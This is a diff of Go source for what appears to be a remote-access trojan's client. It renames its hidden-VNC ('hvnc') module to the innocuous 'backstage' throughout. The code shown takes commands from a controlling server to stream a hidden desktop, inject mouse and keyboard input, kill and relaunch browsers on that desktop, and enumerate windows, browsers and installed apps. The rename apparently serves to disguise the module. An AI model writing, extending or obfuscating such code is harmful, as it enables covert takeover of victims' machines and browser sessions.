||||
voiceSession *voiceRuntime
|
||||
desktopAudioMu sync.Mutex
|
||||
desktopAudioSession *voiceRuntime
|
||||
hvncInputOnce sync.Once
|
||||
hvncInputQueue chan hvncInputEvent
|
||||
hvncInputDropped atomic.Uint64
|
||||
backstageInputOnce sync.Once
|
||||
backstageInputQueue chan backstageInputEvent
|
||||
backstageInputDropped atomic.Uint64
|
||||
)
|
||||
|
||||
type hvncInputKind int
|
||||
type backstageInputKind int
|
||||
|
||||
const (
|
||||
hvncInputMouseMove hvncInputKind = iota
|
||||
hvncInputMouseDown
|
||||
hvncInputMouseUp
|
||||
hvncInputMouseWheel
|
||||
hvncInputKeyDown
|
||||
hvncInputKeyUp
|
||||
BackstageInputMouseMove backstageInputKind = iota
|
||||
BackstageInputMouseDown
|
||||
BackstageInputMouseUp
|
||||
BackstageInputMouseWheel
|
||||
BackstageInputKeyDown
|
||||
BackstageInputKeyUp
|
||||
)
|
||||
|
||||
type hvncInputEvent struct {
|
||||
kind hvncInputKind
|
||||
type backstageInputEvent struct {
|
||||
kind backstageInputKind
|
||||
display int
|
||||
x int32
|
||||
y int32
|
||||
@@ -105,18 +105,18 @@ func resetForReconnect(env *runtime.Env) {
|
||||
env.SelectedDisplay = GetPersistedDisplay()
|
||||
env.DesktopMu.Unlock()
|
||||
|
||||
env.HVNCMu.Lock()
|
||||
if env.HVNCCancel != nil {
|
||||
env.HVNCCancel()
|
||||
env.BackstageMu.Lock()
|
||||
if env.BackstageCancel != nil {
|
||||
env.BackstageCancel()
|
||||
}
|
||||
waitStreamStop(env.HVNCDone, "hvnc")
|
||||
env.HVNCCancel = nil
|
||||
env.HVNCDone = nil
|
||||
env.HVNCMouseControl = false
|
||||
env.HVNCKeyboardControl = false
|
||||
env.HVNCCursorCapture = false
|
||||
env.HVNCSelectedDisplay = 0
|
||||
env.HVNCMu.Unlock()
|
||||
waitStreamStop(env.BackstageDone, "backstage")
|
||||
env.BackstageCancel = nil
|
||||
env.BackstageDone = nil
|
||||
env.BackstageMouseControl = false
|
||||
env.BackstageKeyboardControl = false
|
||||
env.BackstageCursorCapture = false
|
||||
env.BackstageSelectedDisplay = 0
|
||||
env.BackstageMu.Unlock()
|
||||
|
||||
env.WebcamMu.Lock()
|
||||
if env.WebcamCancel != nil {
|
||||
@@ -184,44 +184,44 @@ func stopVirtualStreamLocked(env *runtime.Env) {
|
||||
env.VirtualDone = nil
|
||||
}
|
||||
|
||||
func ensureHVNCInputWorker() {
|
||||
hvncInputOnce.Do(func() {
|
||||
hvncInputQueue = make(chan hvncInputEvent, 1024)
|
||||
goSafe("hvnc input worker", nil, func() {
|
||||
for ev := range hvncInputQueue {
|
||||
func ensurebackstageInputWorker() {
|
||||
backstageInputOnce.Do(func() {
|
||||
backstageInputQueue = make(chan backstageInputEvent, 1024)
|
||||
goSafe("backstage input worker", nil, func() {
|
||||
for ev := range backstageInputQueue {
|
||||
switch ev.kind {
|
||||
case hvncInputMouseMove:
|
||||
if err := capture.HVNCInputMouseMove(ev.display, ev.x, ev.y); err != nil {
|
||||
log.Printf("hvnc input worker: mouse_move failed: %v", err)
|
||||
case BackstageInputMouseMove:
|
||||
if err := capture.BackstageInputMouseMove(ev.display, ev.x, ev.y); err != nil {
|
||||
log.Printf("backstage input worker: mouse_move failed: %v", err)
|
||||
}
|
||||
case hvncInputMouseDown:
|
||||
case BackstageInputMouseDown:
|
||||
if ev.x != 0 || ev.y != 0 {
|
||||
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
|
||||
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
|
||||
}
|
||||
if err := capture.HVNCInputMouseDown(ev.button); err != nil {
|
||||
log.Printf("hvnc input worker: mouse_down failed: %v", err)
|
||||
if err := capture.BackstageInputMouseDown(ev.button); err != nil {
|
||||
log.Printf("backstage input worker: mouse_down failed: %v", err)
|
||||
}
|
||||
case hvncInputMouseUp:
|
||||
case BackstageInputMouseUp:
|
||||
if ev.x != 0 || ev.y != 0 {
|
||||
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
|
||||
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
|
||||
}
|
||||
if err := capture.HVNCInputMouseUp(ev.button); err != nil {
|
||||
log.Printf("hvnc input worker: mouse_up failed: %v", err)
|
||||
if err := capture.BackstageInputMouseUp(ev.button); err != nil {
|
||||
log.Printf("backstage input worker: mouse_up failed: %v", err)
|
||||
}
|
||||
case hvncInputMouseWheel:
|
||||
case BackstageInputMouseWheel:
|
||||
if ev.x != 0 || ev.y != 0 {
|
||||
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
|
||||
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
|
||||
}
|
||||
if err := capture.HVNCInputMouseWheel(ev.delta); err != nil {
|
||||
log.Printf("hvnc input worker: mouse_wheel failed: %v", err)
|
||||
if err := capture.BackstageInputMouseWheel(ev.delta); err != nil {
|
||||
log.Printf("backstage input worker: mouse_wheel failed: %v", err)
|
||||
}
|
||||
case hvncInputKeyDown:
|
||||
if err := capture.HVNCInputKeyDown(ev.vk); err != nil {
|
||||
log.Printf("hvnc input worker: key_down vk=%d failed: %v", ev.vk, err)
|
||||
case BackstageInputKeyDown:
|
||||
if err := capture.BackstageInputKeyDown(ev.vk); err != nil {
|
||||
log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err)
|
||||
}
|
||||
case hvncInputKeyUp:
|
||||
if err := capture.HVNCInputKeyUp(ev.vk); err != nil {
|
||||
log.Printf("hvnc input worker: key_up vk=%d failed: %v", ev.vk, err)
|
||||
case BackstageInputKeyUp:
|
||||
if err := capture.BackstageInputKeyUp(ev.vk); err != nil {
|
||||
log.Printf("backstage input worker: key_up vk=%d failed: %v", ev.vk, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -229,36 +229,36 @@ func ensureHVNCInputWorker() {
|
||||
})
|
||||
}
|
||||
|
||||
func enqueueHVNCInput(ev hvncInputEvent) {
|
||||
ensureHVNCInputWorker()
|
||||
func enqueuebackstageInput(ev backstageInputEvent) {
|
||||
ensurebackstageInputWorker()
|
||||
select {
|
||||
case hvncInputQueue <- ev:
|
||||
case backstageInputQueue <- ev:
|
||||
return
|
||||
default:
|
||||
if ev.kind == hvncInputMouseMove {
|
||||
dropped := hvncInputDropped.Add(1)
|
||||
if ev.kind == BackstageInputMouseMove {
|
||||
dropped := backstageInputDropped.Add(1)
|
||||
if dropped%100 == 1 {
|
||||
log.Printf("hvnc input queue: dropping mouse_move events dropped=%d", dropped)
|
||||
log.Printf("backstage input queue: dropping mouse_move events dropped=%d", dropped)
|
||||
}
|
||||
return
|
||||
}
|
||||
t := time.NewTimer(200 * time.Millisecond)
|
||||
defer t.Stop()
|
||||
select {
|
||||
case hvncInputQueue <- ev:
|
||||
case backstageInputQueue <- ev:
|
||||
case <-t.C:
|
||||
log.Printf("hvnc input queue: enqueue timeout kind=%d", ev.kind)
|
||||
log.Printf("backstage input queue: enqueue timeout kind=%d", ev.kind)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func clearHVNCInputQueue() {
|
||||
if hvncInputQueue == nil {
|
||||
func clearbackstageInputQueue() {
|
||||
if backstageInputQueue == nil {
|
||||
return
|
||||
}
|
||||
for {
|
||||
select {
|
||||
case <-hvncInputQueue:
|
||||
case <-backstageInputQueue:
|
||||
default:
|
||||
return
|
||||
}
|
||||
@@ -1068,8 +1068,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultAsync(env, cmdID)
|
||||
return nil
|
||||
|
||||
// ==================== HVNC COMMANDS ====================
|
||||
case "hvnc_start":
|
||||
// ==================== backstage COMMANDS ====================
|
||||
case "backstage_start":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
autoStartExplorer := false
|
||||
VirtualMode := false
|
||||
@@ -1110,24 +1110,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
env.HVNCMu.Lock()
|
||||
if env.HVNCCancel != nil {
|
||||
env.HVNCCancel()
|
||||
waitStreamStop(env.HVNCDone, "hvnc")
|
||||
env.BackstageMu.Lock()
|
||||
if env.BackstageCancel != nil {
|
||||
env.BackstageCancel()
|
||||
waitStreamStop(env.BackstageDone, "backstage")
|
||||
}
|
||||
hvncCtx, cancel := context.WithCancel(ctx)
|
||||
env.HVNCCancel = cancel
|
||||
backstageCtx, cancel := context.WithCancel(ctx)
|
||||
env.BackstageCancel = cancel
|
||||
done := make(chan struct{})
|
||||
env.HVNCDone = done
|
||||
goSafe("hvnc stream", env.Cancel, func() {
|
||||
log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
||||
_ = HVNCStart(hvncCtx, env, autoStartExplorer)
|
||||
env.BackstageDone = done
|
||||
goSafe("backstage stream", env.Cancel, func() {
|
||||
log.Printf("backstage: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
||||
_ = backstageStart(backstageCtx, env, autoStartExplorer)
|
||||
close(done)
|
||||
})
|
||||
env.HVNCMu.Unlock()
|
||||
env.BackstageMu.Unlock()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_stop":
|
||||
case "backstage_stop":
|
||||
env.VirtualMu.Lock()
|
||||
if env.VirtualCancel != nil {
|
||||
log.Printf("hidden: stop requested")
|
||||
@@ -1137,22 +1137,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
}
|
||||
env.VirtualMu.Unlock()
|
||||
env.HVNCMu.Lock()
|
||||
log.Printf("hvnc: stop requested")
|
||||
env.HVNCMouseControl = false
|
||||
env.HVNCKeyboardControl = false
|
||||
env.HVNCCursorCapture = false
|
||||
clearHVNCInputQueue()
|
||||
if env.HVNCCancel != nil {
|
||||
env.HVNCCancel()
|
||||
env.BackstageMu.Lock()
|
||||
log.Printf("backstage: stop requested")
|
||||
env.BackstageMouseControl = false
|
||||
env.BackstageKeyboardControl = false
|
||||
env.BackstageCursorCapture = false
|
||||
clearbackstageInputQueue()
|
||||
if env.BackstageCancel != nil {
|
||||
env.BackstageCancel()
|
||||
}
|
||||
waitStreamStop(env.HVNCDone, "hvnc")
|
||||
env.HVNCCancel = nil
|
||||
env.HVNCDone = nil
|
||||
env.HVNCMu.Unlock()
|
||||
waitStreamStop(env.BackstageDone, "backstage")
|
||||
env.BackstageCancel = nil
|
||||
env.BackstageDone = nil
|
||||
env.BackstageMu.Unlock()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_select_display":
|
||||
case "backstage_select_display":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
disp := 0
|
||||
if payload != nil {
|
||||
@@ -1173,11 +1173,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
disp = int(v)
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: select display %d", disp)
|
||||
_ = HVNCSelect(ctx, env, disp)
|
||||
log.Printf("backstage: select display %d", disp)
|
||||
_ = backstageSelect(ctx, env, disp)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_mouse":
|
||||
case "backstage_enable_mouse":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
enabled := true
|
||||
if payload != nil {
|
||||
@@ -1191,11 +1191,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: mouse control %v", enabled)
|
||||
_ = HVNCMouseControl(ctx, env, enabled)
|
||||
log.Printf("backstage: mouse control %v", enabled)
|
||||
_ = backstageMouseControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_keyboard":
|
||||
case "backstage_enable_keyboard":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
enabled := true
|
||||
if payload != nil {
|
||||
@@ -1209,11 +1209,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: keyboard control %v", enabled)
|
||||
_ = HVNCKeyboardControl(ctx, env, enabled)
|
||||
log.Printf("backstage: keyboard control %v", enabled)
|
||||
_ = backstageKeyboardControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_cursor":
|
||||
case "backstage_enable_cursor":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
enabled := false
|
||||
if payload != nil {
|
||||
@@ -1227,11 +1227,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: cursor capture %v", enabled)
|
||||
_ = HVNCCursorControl(ctx, env, enabled)
|
||||
log.Printf("backstage: cursor capture %v", enabled)
|
||||
_ = backstageCursorControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_dxgi":
|
||||
case "backstage_enable_dxgi":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
dxgiEnabled := true
|
||||
if payload != nil {
|
||||
@@ -1239,11 +1239,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
dxgiEnabled = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
|
||||
capture.SetHVNCDXGIEnabled(dxgiEnabled)
|
||||
log.Printf("backstage: DXGI capture %v", dxgiEnabled)
|
||||
capture.SetbackstageDXGIEnabled(dxgiEnabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_uia":
|
||||
case "backstage_enable_uia":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
uiaEnabled := true
|
||||
if payload != nil {
|
||||
@@ -1251,11 +1251,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
uiaEnabled = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: UIA support %v", uiaEnabled)
|
||||
capture.SetHVNCUIAEnabled(uiaEnabled)
|
||||
log.Printf("backstage: UIA support %v", uiaEnabled)
|
||||
capture.SetbackstageUIAEnabled(uiaEnabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_set_resolution":
|
||||
case "backstage_set_resolution":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
maxH := 1080
|
||||
if payload != nil {
|
||||
@@ -1263,11 +1263,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
maxH = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: set resolution maxHeight=%d", maxH)
|
||||
log.Printf("backstage: set resolution maxHeight=%d", maxH)
|
||||
capture.SetMaxResolution(maxH)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_set_fps":
|
||||
case "backstage_set_fps":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
fps := 120
|
||||
if payload != nil {
|
||||
@@ -1279,14 +1279,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
fps = SetVirtualTargetFPS(fps)
|
||||
} else {
|
||||
// Also seed virtual mode so a setting sent immediately before
|
||||
// hvnc_start is retained when that start selects virtual mode.
|
||||
fps = SetHVNCTargetFPS(fps)
|
||||
// backstage_start is retained when that start selects virtual mode.
|
||||
fps = SetbackstageTargetFPS(fps)
|
||||
SetVirtualTargetFPS(fps)
|
||||
}
|
||||
log.Printf("hvnc: set target fps=%d", fps)
|
||||
log.Printf("backstage: set target fps=%d", fps)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_set_quality":
|
||||
case "backstage_set_quality":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
quality := 90
|
||||
codec := ""
|
||||
@@ -1298,16 +1298,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
codec = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: set quality=%d codec=%s", quality, codec)
|
||||
log.Printf("backstage: set quality=%d codec=%s", quality, codec)
|
||||
capture.SetQualityAndCodec(quality, codec)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_request_keyframe":
|
||||
log.Printf("hvnc: request full frame")
|
||||
capture.RequestHVNCFullFrame()
|
||||
case "backstage_request_keyframe":
|
||||
log.Printf("backstage: request full frame")
|
||||
capture.RequestbackstageFullFrame()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_mouse_move":
|
||||
case "backstage_mouse_move":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
x, y := int32(0), int32(0)
|
||||
if payload != nil {
|
||||
@@ -1372,14 +1372,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
capture.VirtualInputMouseMove(x, y)
|
||||
return nil
|
||||
}
|
||||
if !env.HVNCMouseControl {
|
||||
if !env.BackstageMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseMove, display: env.BackstageSelectedDisplay, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_mouse_down":
|
||||
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||
case "backstage_mouse_down":
|
||||
if env.VirtualCancel == nil && !env.BackstageMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1475,10 +1475,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
_ = capture.VirtualInputMouseDown(btn)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseDown, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_mouse_up":
|
||||
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||
case "backstage_mouse_up":
|
||||
if env.VirtualCancel == nil && !env.BackstageMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1574,10 +1574,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
_ = capture.VirtualInputMouseUp(btn)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseUp, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_mouse_wheel":
|
||||
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||
case "backstage_mouse_wheel":
|
||||
if env.VirtualCancel == nil && !env.BackstageMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1673,10 +1673,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
_ = capture.VirtualInputMouseWheel(delta)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseWheel, display: env.BackstageSelectedDisplay, delta: delta, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_key_down":
|
||||
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
|
||||
case "backstage_key_down":
|
||||
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1687,7 +1687,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
code = v
|
||||
}
|
||||
}
|
||||
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
||||
if vk := keyCodeToVKbackstage(code); vk != 0 {
|
||||
if env.VirtualCancel != nil {
|
||||
if !env.VirtualKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
@@ -1696,11 +1696,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
capture.VirtualInputKeyDown(vk)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk})
|
||||
}
|
||||
return nil
|
||||
case "hvnc_key_up":
|
||||
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
|
||||
case "backstage_key_up":
|
||||
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1711,7 +1711,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
code = v
|
||||
}
|
||||
}
|
||||
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
||||
if vk := keyCodeToVKbackstage(code); vk != 0 {
|
||||
if env.VirtualCancel != nil {
|
||||
if !env.VirtualKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
@@ -1720,10 +1720,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
capture.VirtualInputKeyUp(vk)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk})
|
||||
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyUp, vk: vk})
|
||||
}
|
||||
return nil
|
||||
case "hvnc_start_process":
|
||||
case "backstage_start_process":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
filePath := ""
|
||||
killExe := ""
|
||||
@@ -1757,12 +1757,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
|
||||
log.Printf("backstage: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process", nil, func() {
|
||||
goSafe("backstage_start_process", nil, func() {
|
||||
sendLaunchStatus := func(step string, success bool, detail string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
|
||||
Type: "hvnc_browser_launch_status",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
|
||||
Type: "backstage_browser_launch_status",
|
||||
Browser: filepath.Base(strings.Trim(filePath, `"`)),
|
||||
Step: step,
|
||||
Success: success,
|
||||
@@ -1772,14 +1772,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
if killExe != "" {
|
||||
sendLaunchStatus("kill", true, "killing "+killExe)
|
||||
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
|
||||
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
||||
log.Printf("backstage: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
||||
if err != nil {
|
||||
sendLaunchStatus("kill", false, fmt.Sprintf("taskkill failed: %s", strings.TrimSpace(string(out))))
|
||||
}
|
||||
}
|
||||
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
|
||||
if err := capture.StartHVNCProcess(filePath, operaPatch, display); err != nil {
|
||||
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
||||
if err := capture.StartbackstageProcess(filePath, operaPatch, display); err != nil {
|
||||
log.Printf("backstage: start process failed for %q: %v", filePath, err)
|
||||
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
|
||||
} else {
|
||||
sendLaunchStatus("launch", true, "process created")
|
||||
@@ -1787,7 +1787,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_kill_all":
|
||||
case "backstage_kill_all":
|
||||
if env.VirtualCancel != nil {
|
||||
log.Printf("hidden: kill all processes on virtual monitor")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
@@ -1798,23 +1798,23 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: kill all processes on hidden desktop")
|
||||
log.Printf("backstage: kill all processes on hidden desktop")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_kill_all", nil, func() {
|
||||
if err := capture.HVNCKillAll(); err != nil {
|
||||
log.Printf("hvnc: kill all failed: %v", err)
|
||||
goSafe("backstage_kill_all", nil, func() {
|
||||
if err := capture.BackstageKillAll(); err != nil {
|
||||
log.Printf("backstage: kill all failed: %v", err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_window_list":
|
||||
log.Printf("hvnc: window list requested")
|
||||
case "backstage_window_list":
|
||||
log.Printf("backstage: window list requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_window_list", nil, func() {
|
||||
windows, monitors := capture.HVNCEnumWindows()
|
||||
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
|
||||
goSafe("backstage_window_list", nil, func() {
|
||||
windows, monitors := capture.BackstageEnumWindows()
|
||||
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
|
||||
for _, w := range windows {
|
||||
winEntries = append(winEntries, wire.HVNCWindowEntry{
|
||||
winEntries = append(winEntries, wire.BackstageWindowEntry{
|
||||
Title: w.Title,
|
||||
X: w.X,
|
||||
Y: w.Y,
|
||||
@@ -1825,9 +1825,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
Monitor: w.Monitor,
|
||||
})
|
||||
}
|
||||
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
|
||||
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
|
||||
for _, m := range monitors {
|
||||
monEntries = append(monEntries, wire.HVNCMonitorEntry{
|
||||
monEntries = append(monEntries, wire.BackstageMonitorEntry{
|
||||
Index: m.Index,
|
||||
Name: m.Name,
|
||||
X: m.X,
|
||||
@@ -1837,63 +1837,63 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
Primary: m.Primary,
|
||||
})
|
||||
}
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
|
||||
Type: "hvnc_window_list_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
|
||||
Type: "backstage_window_list_result",
|
||||
Windows: winEntries,
|
||||
Monitors: monEntries,
|
||||
})
|
||||
log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
|
||||
log.Printf("backstage: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_browser_check":
|
||||
log.Printf("hvnc: browser availability check requested")
|
||||
case "backstage_browser_check":
|
||||
log.Printf("backstage: browser availability check requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_browser_check", nil, func() {
|
||||
goSafe("backstage_browser_check", nil, func() {
|
||||
browsers := capture.CheckInstalledBrowsers()
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserCheckResult{
|
||||
Type: "hvnc_browser_check_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserCheckResult{
|
||||
Type: "backstage_browser_check_result",
|
||||
Browsers: browsers,
|
||||
})
|
||||
log.Printf("hvnc: browser check complete: %v", browsers)
|
||||
log.Printf("backstage: browser check complete: %v", browsers)
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_installed_apps":
|
||||
log.Printf("hvnc: installed apps enumeration requested")
|
||||
case "backstage_installed_apps":
|
||||
log.Printf("backstage: installed apps enumeration requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_installed_apps", nil, func() {
|
||||
goSafe("backstage_installed_apps", nil, func() {
|
||||
const batchSize = 15
|
||||
apps := enumerateInstalledApps()
|
||||
log.Printf("hvnc: enumerated %d installed apps, extracting icons in batches", len(apps))
|
||||
var batch []wire.HVNCInstalledApp
|
||||
log.Printf("backstage: enumerated %d installed apps, extracting icons in batches", len(apps))
|
||||
var batch []wire.BackstageInstalledApp
|
||||
sent := 0
|
||||
for _, a := range apps {
|
